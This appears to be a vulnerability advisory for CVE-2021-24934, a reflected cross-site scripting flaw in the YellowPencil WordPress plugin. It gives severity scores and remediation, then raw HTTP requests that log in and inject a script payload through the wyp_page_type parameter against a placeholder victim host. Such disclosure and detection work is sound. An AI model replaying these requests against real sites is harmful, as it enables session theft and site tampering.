| Title | Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting |
|---|---|
| Author | Splint3r7 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the wyp_page_type parameter, potentially stealing administrator session cookies or modifying site appearance. |
| Remediation | Update to the latest version of plugin. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03752 |
| CVE ID | CVE-2021-24934 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wordpress wp wp-plugin yellowpencil xss authenticated vuln |
The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Y3XA0S&pwd=EJqLBE&&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_page_type=<script>alert(document.domain)</script>&wyp_mode=single HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Safari/602.4.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24934.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24934.pcap
N/AN/A